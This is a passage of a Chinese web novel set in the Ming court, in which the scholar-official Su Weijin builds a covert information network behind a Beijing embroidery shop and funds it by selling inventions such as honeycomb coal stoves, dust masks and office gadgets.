偶尔便有不太起眼却极其实用的赏赐,
从宫廷御用的点心到上好的墨锭,不一而足。
这种特殊的待遇,
如何能瞒得过翰林院那些心思玲珑之人的眼睛?
众人再看苏惟瑾时,目光已然不同。
不再是单纯看一个才华横溢的状元郎,
而是带上了几分敬畏、几分探究、
几分难以言说的复杂。
徐阶在某次与苏惟瑾一同下值出宫时,
看似无意地提了一句:
“陛下近来似乎常召玉衡兄问对?”
他目光平静,却带着一丝不易察觉的审视。
苏惟瑾淡然一笑,语气平常:
“陛下垂询,多是问些翰林院修书琐事,
或是江南风土,大约是念我年轻,
又多来自民间吧。
子升兄(徐阶字)若是得暇,
我正有几处经义疑点想请教。”
他轻巧地将话题带过,
既承认了事实,又将其淡化,
更反将一军,堵住了徐阶进一步的打探。
徐阶深深看了他一眼,
不再多问,心中却已了然:
这位同科状元,其圣眷之深,
恐怕远非表面看上去那么简单。
那份关于左顺门事件的惊人策略…莫
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非…
林文霈则直接得多,
他私下拉着苏惟瑾,
替他抱不平:
“玉衡!明明…
哼,那张璁等人不过是拾人…
呃,反正他们倒是风光无限,
你却…”
他气得脸鼓鼓的。
苏惟瑾拍拍他的肩膀,
真诚地说道:
“慎行兄,此言差矣。
张学士他们为国辛劳,深得圣心,
理应受赏。
我入仕日浅,能安稳修书,
偶尔得聆圣训,已是莫大恩荣,
岂敢再有奢望?
我等年轻,来日方长,
脚踏实地才是正理。”
他这话说得冠冕堂皇,
无可指摘,林文霈虽觉憋屈,
却也挑不出错,
只能嘟囔几句“你倒是好脾气”。
而张璁、桂萼等人,
得知皇帝偶尔召见苏惟瑾,
初时并未在意,只当是皇帝爱惜状元才华,偶尔垂询。
甚至张璁还觉得,
这正是自己“提携后进”的证明(毕竟苏惟瑾“很懂事”地称赞过他),
反而对苏惟瑾更添了几分“自己人”的错觉。
苏惟瑾将各方反应尽收眼底,超频大脑一一记录分析:
嘉靖帝:满足于拥有一个“私人智囊”,
享受这种幕后掌控、
慧眼识珠的感觉,信任度持续+1。
徐阶:警觉,怀疑,
重新评估苏惟瑾的能量和威胁等级,
关系微妙-1。
林文霈:义气,可交,
但需引导,避免其冲动,关系稳固。
张璁/桂萼:麻痹,轻视,仍视为可驾驭的晚辈,可利用此错觉。
他依旧每日准时到翰林院,
该修书修书,该当差当差,
态度甚至比以往更加谦逊低调。
但在那平静的表象之下,
他在翰林院乃至整个京城官场的地位,
已然发生了一种微妙而超然的变化。
他不再仅仅是一个有前途的新科状元,
更是一个被皇帝默默标记、
时常“咨政”的特殊存在。
这种无形的资本,
远比张璁那些显赫的官衔和赏赐,
更有分量,也更令人忌惮。
左顺门的风暴平息了,皇权空前强化。
而苏惟瑾,这位风暴的幕后推手,
却悄然无声地收获了最珍贵的战利品
——一张直通帝国权力核心的、无形的通行证。
圣心默许,潜龙在渊。
这便是他策划这一切的最终目的,
如今,已完美达成。
第166章 香君北上来,惊喜悄然至
北京的夏日黄昏,暑气稍褪,
胡同里弥漫着炊烟和邻家炖肉的香气。
苏惟瑾踏着青石板路回到小院,
脑子里还在过着今日皇帝偶然问起东南赋税时,
自己引据唐代两税法与明代鱼鳞册对比的那番应对,
琢磨着是否有更精妙的表述方式。
他习惯性地推开那扇吱呀作响的木门,
平日都是苏惟山在院里劈柴或是小奇蹲在灶前煽火。
然而,院中景象却让他脚步猛地一顿,瞳孔微缩。
夕阳的金辉透过老槐树的枝叶,洒下斑驳的光影。
光影之中,一位身着月白绫裙、
外罩水绿比甲的女子正背对着他,
微微仰头,似乎在看那归巢的倦鸟。
身姿窈窕,气质清雅,
与这简陋的院落显得格格不入,
却又奇异地构成一幅静谧的画卷。
听到门响,那女子翩然转身。
一张宜喜宜嗔的俏脸映入眼帘,
眉如远黛,目似秋水,
唇角含着一丝若有若无的笑意,
不是金陵媚香楼的清倌人沈香君又是谁?
苏惟瑾瞬间怔住,
超频大脑罕见地卡壳了零点一秒,
无数念头飞闪而过:
幻觉?相似之人?她怎会在此?!
下一秒,一股巨大的惊愕和难以置信的喜悦涌上心头。
但他还没来得及开口,
大脑已自动切换到分析模式:
周大山!定是周大山那憨货干的好事!
自己离金陵前,
确实深感情报网络的重要性远超皂坊利润,
曾私下交代大山,若时机成熟、资金允许,
可试探沈香君心意,若她愿意脱离风尘,
可助其赎身,以为将来北上助力。
但…这厮竟连封信都不提前送来?
就这么不声不响把人送北京来了?!
这是想给他惊喜还是惊吓?!
苏惟瑾心中暗骂周大山办事“离谱”,
脸上却已迅速调整好表情,
那惊愕恰到好处地转化为惊喜与疑惑交织:
“香君姑娘?!
怎会是你?
你…何时来的京师?
如何寻到此处的?”
他快步上前,语气中的讶异真切无比。
沈香君见到他,眼中亮彩更盛,
似如明珠拂去尘埃。
她盈盈一福,动作优雅自然,
声音依旧清澈悦耳:
“苏公子,别来无恙。
冒昧叨扰,还望公子勿怪。”
她直起身,眼眸微弯,
带着几分狡黠。
“是周大山周爷助我脱了籍,
也是他给了我公子在京的落脚处。
他说…公子早有安排,
让我北上相助。
莫非…公子不知此事?”
她巧妙地将问题抛了回来,
细细观察着苏惟瑾的反应。
苏惟瑾心下顿时了然,好个周大山!
定是这厮会错了意!
自己当初说得含蓄,
是让他“伺机而动”、“徐徐图之”,
这憨直家伙估计是看皂坊生意红火,
银钱凑手,又觉沈香君确实可靠,
便一拍脑袋,干脆利落地把事办妥了,
还想当然地以为是要给自家“瑾哥儿”一个惊喜!
他心中哭笑不得,
暗叹这真是无巧不成书。
自己近日刚在朝中初步站稳脚跟,
深感帝都信息交织、机会遍地,
正欲去信金陵,催促周大山加快进度,
设法让沈香君北上,
负责开拓北方市场和构建情报网络。
没想到,人竟已到了眼前!
这误会…倒是妙得很!
苏惟瑾立刻顺势而为,
脸上露出恍然与些许“无奈”的笑容,
拍了拍额头:
“原来如此!大山兄也真是…
办事愈发雷厉风行了,
竟连封信都忘了捎来,
害我险些唐突了姑娘。”
他这话既承认了“早有安排”,
又把周大山的“自作主张”轻描淡写地归结为“雷厉风行”,
保全了双方颜面。
沈香君何等聪慧,
见他如此反应,
心中那一点点疑虑顿时烟消云散,
反而觉得这位苏公子愈发有趣重情。
她抿嘴轻笑:
“周爷也是一片热心。
能得公子记挂,早早为香君筹划,
香君感激不尽。”
言语间,已自然地将自己归入了苏惟瑾的阵营。
“快请屋里坐。一路辛苦了吧?”
苏惟瑾连忙将沈香君让进简陋却整洁的正堂,
吩咐闻声出来的小奇快去沏最好的茶来。
落座后,沈香君才将缘由细细道来。
原来周大山得了苏惟瑾的暗示后,
一直记在心上。
待皂坊利润丰厚,便寻了个机会,
郑重与沈香君深谈,
将苏惟瑾的“北上相助”之意(当然,经过了他自己的理解和加工)和盘托出。
沈香君早对苏惟瑾的才华和神秘背景心折,
更厌倦了欢场浮沉,深知这是改变命运的良机,
几乎未多做犹豫便应允下来。
周大山办事倒也周全,
赎身、安排可靠伙计护送、
一路打点,皆做得妥妥帖帖。
“沿途听闻公子连中三元,
蟾宫折桂,如今更简在帝心,名动京师。
香君在此,恭喜公子了。”
沈香君说着,美目中流光溢彩,
是真心为他高兴,
也暗含对自身选择的庆幸。
苏惟瑾谦和一笑:
“机缘巧合,侥幸而已。
倒是姑娘毅然北上来京,
这份胆识魄力,令惟瑾佩服。”
他话锋一转,神色认真起来。
“不瞒姑娘,京师之地,
龙蟠虎踞,机遇无限,
却也暗流汹涌。
苏某
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虽得陛下些许青眼,
然根基浅薄,于宫墙之外市井之间的消息脉络,
所知甚少,如盲人摸象。
正亟需一位如姑娘这般冰雪聪明、
长袖善舞之人,在此另辟天地,
为我经营一番事业。”
他不再绕弯子,直接点明需求和期望。
沈香君闻言,神色也凝重起来。
她沉吟片刻,抬眸直视苏惟瑾,
目光锐利:
“公子信重,香君敢不尽力?
只是不知公子欲让香君如何着手?”
苏惟瑾欣赏她的直接,
大脑中早已成熟的计划流畅道出:
“其一,于内城寻一合适地点,不必最繁华,
但要清雅安全,开设一处雅致的茶舍或书寓,具体情况还要沈姑娘的意愿。
此乃立足之本,既可结交各色人等,
探听消息,亦可盈利以供开销。”
“其二,凭借姑娘慧眼与手腕,
物色吸纳可靠之人,
或为市井能人,或为失意小吏,
或为高门仆役,暗中织就一张信息网。
不必求官高位显,但求位置关键,耳聪目明。”
“其三,留意京城商机。
除金陵皂业可在此设分号外,
南北货殖、新奇物件、朝廷采买风向,皆可留意。
资金方面,我会让大山兄陆续筹措。”
“其四,”
苏惟瑾声音微沉。
“尤其留意与边关、漕运、盐政、乃至…
沿海倭情相关的任何消息。”
沈香君听得心潮起伏。
她原以为只是经营些产业,
没想到苏惟瑾图谋如此之大,
眼光如此深远!
这分明是要构建一个集商业、
情报于一体的隐秘网络,其志非小!
挑战巨大,却也极对她的胃口。
她深吸一口气,
眼中闪烁着自信与挑战的光芒,
郑重颔首:
“公子宏图,香君明白了。
虽前路艰难,香君必竭尽所能,
为公子经营好这京师的‘耳目’与‘根基’。”
“好!”
苏惟瑾抚掌,心中大定。
“得香君此言,吾道不孤矣!”
他当即安排苏惟山去附近最好的客栈订一间上房,
安顿沈香君暂住。
又取出早已备好的部分银票
和一幅标注了京城重要区域与衙门分布的简图,交予沈香君。
望着沈香君仔细收好银票、
专注研究地图的侧影,
苏惟瑾心中充满期待。
这颗意外的棋子,
以最意想不到的方式提前落位,
却恰逢其时。
他的超频大脑,终于有了一个绝佳的外延和执行单元。
惊喜虽带点乌龙色彩,却结果完美。
苏惟瑾的棋盘上,
一枚至关重要的棋子,已然就位。
帝都的风云,将因这位金陵奇女子的到来,再添变数。
第167章 联手谋情报,暗建听风阁
沈香君的北上,
好比在苏惟瑾精密运转的棋盘上落下了一枚活子,
瞬间盘活了北方局势。
她并未如寻常女子般,
需要时间适应帝都的繁华与陌生,
安顿下来的次日,
便换上了一身利落的棉布衣裙,
带着一个机灵的小丫鬟,
如同水滴汇入大海般,
悄无声息地融入了北京城的大街小巷。
她不去那权贵云集的西城,
也不钻书生扎堆的宣南,
反而流连于东城一些看似普通却毗邻各部衙署的街巷,
观察着车马人流,
留意着茶肆酒馆的闲谈,
甚至在一些售卖针头线脑、
胭脂水粉的铺子前驻足良久,
与掌柜伙计闲聊几句。
不过两日功夫,
当苏惟瑾下值回到小院时,
沈香君已笑意盈盈地等在那里,
递上了一纸墨迹未干的方案。
“公子请看,”
她眼眸晶亮,带着几分邀功似的得意,
却又把握着恰到好处的分寸。
“香君这两日走了几处,略有所得。
想在东江米巷附近盘下一处临街的二层小楼。
那里离六部衙门不算太远,
又非闹市核心,清静些,
往来却多是些低阶官吏、书办杂役的家眷,
或是些小富之家的女眷,正好便于行事。”
苏惟瑾接过那张纸,上面字迹清秀,条理清晰:
项目:芸裳阁(暂定名)
性质:高级定制绣坊兼售精选香粉、苏杭绸缎
定位:面向中低层官员家眷、富户小姐,
提供精致但不显奢靡的女红用品及妆扮服务
优势:
1.天然信息场:
女眷往来,易松懈闲聊,家长里短、
官场轶闻、商业动向往往在不经意间流露。
2.隐蔽性强:女子绣坊,天然隔绝大部分男性官员直接探查,便于操作。
3.合理接触:以推介新品、量体裁衣、**等名义,可自然接触各府内宅。
4.盈利自持:绣品、香粉利润丰厚,可支撑据点运转甚至反哺情报活动。
后面还附带了初步的预算、
人选物色方向(优先考虑苏杭流落至京的绣娘,背景干净易掌控)、
以及初步的信息传递设想(利用绣品花样、香粉盒子夹层等隐蔽方式)。
苏惟瑾快速浏览完毕,
超频大脑瞬间完成了评估:
选址合理,定位精准,
掩护巧妙,可行性极高。
他心中赞叹,此女果然是天生的情报人才,
嗅觉敏锐,心思缜密,更难得的是行动力超强。
他放下方案,脸上露出满意的笑容,
却没有对具体细节指手画脚:
“甚好。
香君姑娘思虑周详,远胜吾辈男儿。
此事,便全权交由姑娘打理。
需要多少银钱,直接与惟山支取。
人选方面,姑娘自行把握,务必稳妥。
至于店名,‘芸裳阁’甚好,明面上就叫这个名字。
不过暗地里也可叫‘听风小筑’,仅限你我之间知道。
略显雅致,亦暗合我辈‘听风’之意。”
他轻巧地将“听风”二字植入,
确立了未来情报组织的内核名称。
沈香君是何等七窍玲珑心,
立刻领会了“听风”的深意,
眼中闪过一抹心照不宣的神采:
“公子说的是,‘听风小筑’更雅,也更贴切。
那便这么定了。
公子放心,香君省得轻重。”
她见苏惟瑾如此爽快放权,
毫不干涉,心中既感振奋,
又觉压力,更深知这是莫大的信任,
越发下定决心要做出成绩。
“不过,”
苏惟瑾似想起什么,补充道。
“初始规模不必求大,稳扎稳打。
重点是织网。
可先从熟悉的领域入手,
金陵的皂,亦可作为高端礼品,
少量引入,馈赠重要客户。”
“香君明白。”
沈香君点头,这一点与她想法不谋而合。
资金、方向、权限皆已明确,
剩下的便是执行。
沈香君雷厉风行的作风再次展现。
她通过牙行,
很快便以合理的价格盘下了东江米巷那处小楼。
又让苏惟山出面,雇人粉刷修缮,
自己则带着丫鬟,开始物色人手。
她并未大张旗鼓,
而是通过流落京师的苏杭同乡会等细微渠道,
悄悄寻访那些手艺好、
背景清白的绣娘,
亲自面试,察言观色,
不仅考校技艺,更暗中评估其性格、口风紧密度。
同时,她也开始留意那些机灵懂事、
在各府邸后宅有些门路的中人婆子。
苏惟瑾则完全放手,
只通过苏惟山定期了解进度,
需要银钱便拨付,
遇到些许衙门口的小麻烦(如办理店契时被小吏刁难),
他便让苏惟山去找那位曾受过“恩惠”的王书办疏通,往往事半功倍。
他深知专业的事交给专业的人,
自己只需把控大方向和提供资
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源支持。
不过半月有余,“听风小筑”便悄然开业了。
没有锣鼓喧天,没有花篮成排,
只在门口挂了一方素雅的木匾,
上书“听风小筑”四字,
旁边一行小字“苏绣、妆品、雅玩”。
店内布置得清雅别致,
一面是琳琅满目的丝线、
绸缎和精美的绣品样本,
另一面则是玻璃柜盛放的各色香膏、香粉,
以及来自金陵的、包装精美的“玉衡皂”。
空气里弥漫着淡淡的、高级的馨香,令人心旷神怡。
沈香君亲自坐镇,
她不再以风尘面貌示人,
而是作未出阁的商家女打扮,
言谈举止得体大方,
又带着江南女子特有的温软韵味,
很容易便获得了那些女客的好感。
她记忆力极佳,
总能准确记住客人的喜好和上次聊过的话题,
让人如沐春风。
开业数日,生意不算火爆,
却也有了几位熟客。
某部主事的夫人喜欢这里的杭缎,
某位御史家的小姐钟情于新到的茉莉香粉…
而在这些看似寻常的交易与闲谈中,
零碎的信息已开始悄然汇集:
“听说户部李大人家的公子,
前几日在南城赌坊输了不少,
正偷偷变卖**首饰呢…”
“王侍郎家的如夫人和正房夫人又闹起来了,
据说是为了一支辽东来的老参…”
“漕运上好像又出事了,
一批南来的瓷器在临清段沉了,
押运的官员急得跳脚…”
“南边来的客商说,
最近松江府的棉布价格跌得厉害,
好像是北边**那边不太平,商路断了…”
这些碎片化的信息,
被沈香君敏锐地捕捉、筛选、记录,
通过特定方式(或是夹在送去苏惟瑾院中的新制绣品样本里,或是通过苏惟山传递),
源源不断地送到苏惟瑾面前。
苏惟瑾的超频大脑则如同最高效的信息处理中心,
将这些看似不相干的碎片分类、
归档、交叉比对、分析提炼,
往往能拼凑出更深层次的**动向、
官场恩怨或商业机会。
一条以“云裳阁”为掩护,
深入帝都肌理的情报网络,
就此悄然织就。
苏惟瑾的触角,终于突破了翰林院的围墙,
伸向了这座帝国心脏更广阔、更隐秘的角落。
联手谋局,听风而起。
这关键的一步,迈得沉稳而扎实。
第168章 发明再出手,京城爆款生
“听风小筑”的情报网络如同初生的藤蔓,悄然延伸,
但维持其运转、吸纳人手、打点关系,
每日所需的银钱如同流水。
苏惟瑾虽有些许皇帝赏赐和翰林院的俸禄,
但对于支撑一个日渐庞大的秘密组织而言,
无疑是杯水车薪。
仅靠皂坊的利润输送,也已显得捉襟见肘。
开源,成了迫在眉睫之事。
这一日,秋意渐深,
北京城早晚已带上了明显的凉意。
苏惟瑾下值回来,
见苏惟山正缩着脖子在院里生炭盆,
烟气呛人,且效率低下。
他心中微微一动,
超频大脑中无数关于古代取暖方式的资料瞬间被激活、筛选、比对。
炭盆:昂贵,有烟,易**,取暖范围小。
火炕:需改造房屋,成本高,无法移动。
手炉:仅能暖手,范围有限。
旋即,一个简单、高效、廉价且相对安全的解决方案浮现出来
——蜂窝煤与配套煤炉。
大脑立刻开始优化设计:
煤粉混合一定比例的黄土(增加粘结性,降低成本,减少一氧化碳产生),
用简易模具压制成带有多孔(增加氧气接触面,燃烧更充分)的圆柱体。
炉具则设计成直筒铁皮状,
内部有炉箅,下方开通风口,
上方有可调节的盖板,
优化燃烧效率,最大限度减少煤气(一氧化碳)蓄积风险。
原料易得(京西有煤窑,黄土遍地都是),
制作简单(模具压制,晾晒即可),
成本极其低廉,取暖效果远胜炭盆,
且便携安全。
“惟山哥,先别弄那炭盆了。”
苏惟瑾叫住正被烟呛得咳嗽的苏惟山。
“去叫上惟虎哥,我有事交代。”
很快,苏惟山和苏惟虎两兄弟站在了苏惟瑾面前。
苏惟瑾也不多言,
直接取过纸笔,寥寥数笔,
便将蜂窝煤的造型、尺寸、
原料配比以及煤炉的构造草图勾勒得清清楚楚。
“这…这是何物?”
苏惟山看着那满是孔洞的黑疙瘩和奇怪的铁皮桶,一脸茫然。
“叫蜂窝煤和暖炉。”
苏惟瑾言简意赅地解释了一遍原理和优点。
“原料便是煤粉和黄土,
按这个比例混合,
用模具压实晒干即可。
炉子找铁匠铺照图打制,
要薄铁皮,成本压到最低。”
苏惟虎虽不如兄长机灵,
但执行力强,看着图纸,眼睛发亮:
“瑾哥儿,这东西…真能比炭盆好使?还便宜?”
“一试便知。”
苏惟瑾自信道。
“惟山哥,你之前在城外看好那处废弃的砖窑,
正好改作作坊,尽快招募些可靠流民,开始制作。
务必保密配比和模具。”
“惟虎哥,你负责联系相熟的铁匠铺,
定制炉具,同样,分散几家,
别让人摸清总量和样式。”
“先小批量生产一批。
惟山哥,你负责在南城平民区推广,
找那些人多嘴杂的大杂院,
免费送几家试用,教他们用法,
口耳相传,最快。”
“惟虎哥,你跑一趟京营周边和军户聚居区,
找那些老关系,也送一批试用,
就说是咱老家乡亲弄出来的好东西,
便宜实惠,照顾兄弟们。”
两人听得热血沸腾,
虽不完全懂其中关窍,
但对苏惟瑾早已佩服得五体投地,
当即拍着胸脯保证:
“瑾哥儿放心!俺们一定办得妥妥的!”
行动迅速展开。
城外废弃砖窑很快冒起了炊烟(烘干蜂窝煤),
叮叮当当的打铁声也在几家不起眼的铁匠铺里响起。
苏惟山和苏惟虎如同上足了发条的陀螺,
一个钻平民区,一个跑军营,
靠着憨厚的外表和实在的“免费试用”策略,很快打开了局面。
起初,人们对着这黑乎乎带眼的煤疙瘩和铁皮桶将信将疑。
但点燃之后,那持续稳定的热量、
明显减小的烟气、
以及相对炭盆低得多的价格,
迅速征服了第一批使用者。
“嘿!真暖和!这玩意儿神了!”
“比烧炭便宜多了!这一块能烧大半宿!”
“还没啥烟味儿!屋里不呛人了!”
口碑如同野火般在底层民众和普通军户中蔓延。
需求瞬间**式增长。
苏惟瑾立刻让沈香君介入。
“听风小筑”悄然多了一项“业务”
——代售“玉衡暖炉”和“蜂窝煤”。
当然,这里的版本稍作优化,
炉子更精致些,
蜂窝煤也用了更好的煤粉,
价格自然稍高,
主打那些小官吏、富户管家等稍微讲究些的客户群体。
沈香君凭借其高超的交际手腕,
轻易便将这东西打入了另一个圈层。
“李夫人,您府上后院那些仆役房,
冬日阴
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冷,用这个最合适不过,
花费不多,下人们也感念主家恩德。”
“张管家,营里弟兄们冻得够呛吧?
批些这个去,上官肯定夸您会办事!”
与此同时,苏惟山负责的平民市场和苏惟虎负责的军户市场也全面铺开。
薄利多销,走量为主。
蜂窝煤和煤炉几乎是以肉眼可见的速度风靡了整个北京城的底层。
利润如同滚雪球般涌来。
成本极其低廉,售价虽不高,
但架不住需求量巨大!
废弃砖窑日夜开工,
雇佣的流民越来越多,
铁匠铺的订单排到了一个月后。
大量的铜钱、碎银流水般汇入苏惟瑾手中,
迅速填补了“听风小筑”的资金缺口,甚至绰绰有余。
更难得的是,这生意惠及民生,赚足了口碑。
“听说这是那位苏状元…哦不,苏修撰弄出来的?”
“苏状元?可是那位连中六元的寒门状元?”
“正是!真是文曲星下凡啊!
读书厉害,还能做出这等利民的好东西!”
“菩萨心肠啊!今年冬天可好过多了!”
朝廷方面,底层官吏和军户用得好,
自然少了许多怨言,
甚至间接提升了些许效率,
一些低阶官员也略有耳闻,
对苏惟瑾这“不务正业”却于民生有益的举动,
倒也乐见其成,甚至暗赞其“心思灵巧”。
嘉靖帝深居宫中,
或许尚未听闻这等微末之事,
即便听闻,大概也只会一笑置之,
觉得臣子有些“奇技淫巧”的小心思无伤大雅,
反而更显其“接地气”。
苏惟瑾坐镇小院,
听着苏惟山和苏惟虎兴奋地汇报着每日惊人的销售额和源源不断的订单,
看着沈香君送来的、已然变得厚实的账本,面色平静。
超频大脑迅速计算着利润、评估着影响、
规划着下一步扩大再生产以及可能遇到的竞争模仿问题。
资金问题,迎刃而解。
口碑人望,悄然积累。
情报网络,获得强力输血。
一枚小小的蜂窝煤,
如同投入湖面的石子,
激起的涟漪却远超预期。
不要小看于细微处发力,
却能撬动了巨大的现实利益,
为苏惟瑾的潜势力版图,
奠定了坚实的经济基础。
京城冬日将至,
而苏惟瑾的“温暖”生意,
却如火如荼,爆款已成。
第169章 巧思妙具惠翰林,小物大用渗官
蜂窝煤的暖意尚未散去,
北京城的深秋已裹着凛冽的沙尘呼啸而来。
这日清晨,苏惟瑾步行前往翰林院,
饶是他步履矫健,
也免不了被灌了一喉咙的风沙,
鼻腔喉间干涩发痒,极不舒服。
抬眼望去,街上来往行人多有以袖掩面者,
神色匆匆,显是苦此风沙久矣。
超频大脑瞬间启动,
调取环境信息与应对方案。
过滤、防护、简易、低成本…
几个关键词碰撞,
一个极其简单的物件浮现出来——口罩。
当然,非是现代医用级别。
大脑飞速优化设计:
用致密柔软的细棉布(成本可控)缝制数层,形成基础屏障;
内夹极薄一层兼具过滤与清新通气功效的中草药粉末,
如研磨极细的艾叶、薄荷、紫苏叶等(常见,价廉,且符合时人信药心理);
两侧缝制细带,便于悬挂耳后或系于脑后。
重在物理阻隔风沙,
草药的微末功效更多是心理安慰和增添卖点。
“防风防沙,兼防寒气入口,简易便洁。”
苏惟瑾心下定计,这又是一桩惠而不费的小生意。
回府后,他立刻画出图样,
标明用料,唤来苏惟山:
“山哥,让皂坊和煤坊那边分几个细致妇人出来,
照此样式,先做一批出来。
用料务必干净,针脚细密些。”
苏惟山如今对这位瑾哥儿的奇思妙想已是盲信,
二话不说,拿了图样便去安排。
不过两日,第一批“玉衡罩”(苏惟瑾随口起的名字)便做了出来。
苏惟瑾自己先试戴了一番,虽略显怪异,
但阻隔风沙的效果立竿见影,
呼吸间还有淡淡药草清香,确实舒适不少。
他并未急着售卖,
而是精心包装了几份,
先是送给了翰林院几位关系尚可的同僚,
如孔侍读、徐阶、林文霈等人。
“此乃小弟家中仆役琢磨出的小玩意儿,
用以遮挡风沙,内附些许提神醒脑的药材,虽粗陋,聊胜于无。
近日风大,诸位年兄出入辛苦,
聊备一格,莫要见笑。”
他送得随意,态度谦和,
只说是下人捣鼓的,全无炫耀之意。
孔侍读拿着那素净的棉布罩子,
初时愕然,依言试戴片刻,
行至院中风口处,
果然觉得迎面之风和沙尘柔和了许多,
不由讶道:
“咦?竟真有些用处!
玉衡府上真是能人辈出,
此物虽小,却颇见巧思。”
徐阶亦试了试,点头道:
“确能挡些尘沙,呼吸亦不觉憋闷。
玉衡兄处处留心,皆是为民方便之心。”
林文霈更是笑道:
“好个苏玉衡,
莫非是文曲星兼了工部鲁班的职司?
整日价便琢磨这些!”
说笑归说笑,几人却都觉此物实用,
第二日当值,便有样学样地戴了下来。
翰林院这等清贵之地,
一举一动皆受人关注。
见鼎甲三人及孔侍读等人都戴着这奇怪的小布罩,
效果似乎颇佳,一时间询问、索要者甚众。
苏惟瑾顺势让苏惟山又送了一批到翰林院,
仍是分文不取,只道是“家中多做了一些,
诸位同僚不嫌弃便拿去试用”。
风气就此传开。
很快,不仅翰林院,
其他衙门口的一些低阶官员,
乃至各家官眷,
听闻这是新科状元“发明”的防风沙妙物,
又确实有效,纷纷遣人来问。
苏惟瑾这才让沈香君那边“听风小筑”悄悄放出风声,
可以代购,价格亦是十分平民。
于是,“玉衡罩”又悄然成了京中一景,
虽不及蜂窝煤那般需求巨大,
却也细水长流,赚了不少口碑和零散银钱。
然而,苏惟瑾的目光并未停留于此。
超频大脑再度运转,分析着更深层的需求。
蜂窝煤针对民生,
“玉衡罩”针对环境,
那么,针对他身处的这个庞大官僚体系本身,
又有何痛点可被利用?
他仔细观察着翰林院乃至各部院官员的日常办公状态。
他看到老翰林颤巍巍地捧着沉重官印,
需得另一手费力按压,
方能盖出清晰印鉴,
常累得气喘吁吁。
他看到书吏们抄写文书,
墨汁易干,常需频频蘸墨,
耽误工夫,墨色亦不均。
他看到官员夜间阅卷,
烛火昏暗且跳动不稳,
极易伤眼,调节亮度更是麻烦。
痛点即是商机!
尤其这商机还关联着最具消费能力的官僚群体。
苏惟瑾再次沉浸入超频大脑的创意工坊。
针对用印:基于杠杆与简易弹簧原理(用韧性好的钢片替代),
设计一个“公文按压器”。
将官印固定于一个带手柄的杠杆一端,
下方有弹簧支撑,使用时只需轻压手柄,
利用杠杆原理省力地将官印压下,
松手后弹簧自动复位。
省力、稳定、印迹清晰。
材料只需硬木、铁件和钢片,工匠易做。
针对墨汁:设计一种“防干墨砚台”。
将砚台主体加深,
上方加一个严丝合缝的滑动盖板,
不用时闭合,极大减少墨汁与空气接触面积,延缓干燥。
盖板可轻松推开,
边缘设计存墨凹槽,
方便刮去笔尖多余墨汁。
景德镇便可烧制,
或由木匠以硬木制作。
针对烛火:设计一种“可调节亮度烛台”。
烛台主体为一中空铜管,
侧面开长条形孔,内壁有卡槽,
可插入一弧形薄铜片作为遮光板。
推动遮光板,即可控制露出烛光的多少,
从而调节亮度,并能有效防风,避免火苗摇曳。
结构简单,任何铜匠铺皆可打造。
这三样东西,技术含量不高,
却极其贴合办公实际,直击痛点,
且不易被快速模仿精髓(尤其是按压器的弹簧力道与杠杆比例需调试至最佳)。
图样很快出炉。
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苏惟瑾依旧找来可靠的工匠,小批量试制。
首先获益的自然是翰林院的同僚。
苏惟瑾“无意间”在自己值房使用那省力的按压器盖印,
被前来寻他的孔侍读撞见。
“玉衡,此乃何物?
怎地盖章如此省力?”
孔侍读看着苏惟瑾轻松一压便得到一个清晰印鉴,大感惊奇。
“哦,此乃小弟见诸位前辈用印辛苦,
让家中仆役瞎琢磨的玩意儿,
借些巧劲,倒是省了些力气。”
苏惟瑾笑着演示。
“前辈若觉有用,
不妨拿一个去试试?”
孔侍读试了一下,效果立竿见影,
对老年人尤其友好,
顿时爱不释手:
“妙极!妙极!
玉衡,你真是…真是我翰苑福星!
此物于大人们实是大善!”
那防干墨砚台和可调烛台,
也以类似方式,先在小范围内试用、赠送。
效果是**性的!
这些终日与文案打交道的老少爷们,
太懂得这些小玩意儿带来的便利了!
省力、省时、护眼,直击痒处!
“苏修撰处可有那省力印押?
老夫腆颜求一个!”
“那存墨砚台甚好!
一日只需研两次墨便够用!”
“夜间看书有此烛台,
双眼舒适多了!
苏状元巧思,名不虚传!”
需求瞬间爆棚。
这一次,苏惟瑾可不再免费赠送了。
通过“听风小筑”的渠道,
这三样“办公减压神器”迅速推向市场,
定价不高不低,正好是各级官员都能轻松承受、
又觉得物有所值的价位。
一时间,京官之间,
几乎人手一套“玉衡三宝”(好事者起的名)。
甚至成了上下级之间、同僚之间馈赠的新颖礼品。
其流行程度,竟隐隐成了官员是否“跟得上潮流”的一个小小标志。
利润再次滚滚而来,
虽单个利润不及蜂窝煤,
但架不住客单价高且需求旺盛,
总量极为可观。
更重要的是,
通过这层出不穷、又极其贴心实用的小发明。
“苏惟瑾”这个名字,
以一种超越其“状元”光环的、
更具象更亲切的方式,
深深渗透进了京官的日常生活之中。
无数官员在享受这些便利时,
都会下意识地念他一声好。
这种潜移默化的好感积累和人情渗透,
其价值,远非银钱所能衡量。
苏惟瑾坐于翰林院值房,
听着窗外呼啸的风沙,
手中把玩着一枚新送来的“公文按压器”,
嘴角噙着一丝若有若无的笑意。
自己的大脑,用于经义策论,可夺状元魁首;
用于洞察人心,可搅动朝堂风云;
用于这微末匠作,
亦可惠及民生,润物无声,
聚敛财货,编织人脉。
知识之用,存乎一心。
而这渗透官场的第一步,
已借着这些不起眼的小物件,
悄然迈出,稳如磐石。
第170章 家书暗藏风波恶,族亲又生
北京城的深秋,天高云淡,金菊怒放。
苏惟瑾于翰林院中埋首书卷,
偶尔抬眼望向窗外澄澈蓝天,
心中那份因“玉衡三宝”悄然渗透官场带来的从容尚未持续几日,
一份来自沭阳的家书,
便如一片阴云,悄无声息地飘至他的案头。
信是七叔公托驿丞写的,
用的却是赵文萱私下送去的信笺,
带着一丝极淡的、不易察觉的清雅馨香。
苏惟瑾心中微动,
超频大脑已先行一步,
将这细节归档
——文萱送信,必有要事,
且不便经由寻常途径。
他拆开火漆,抽出信纸。
前半部分是七叔公粗犷而略显焦急的笔迹,
汇报族中事务,
字里行间却透着一股压抑不住的怒气与担忧。
而后半部分,娟秀雅致的字迹悄然接上,
正是赵文萱的手笔,语气急切而不失条理。
“玉衡兄台鉴:”
“闻兄在京一切安好,萱心稍慰。
然近日偶闻一事,
心中难安,思之再三,
觉有必要告知兄台。”
“家父前日与县学周训导(周有仁)小酌,
周师酒后失言,提及张家……
那张承宗竟仍未死心!
其通过族中某远亲,
与京中一位姓钱的给事中攀上了同乡之谊(似是张璁张大人**),
书信往来颇为频繁。
信中多次提及兄台,言语间……
似在刻意打探、搜集兄台早年出身军户、
乃至曾暂居张府之旧事,
恐欲以此为由,构陷污点,
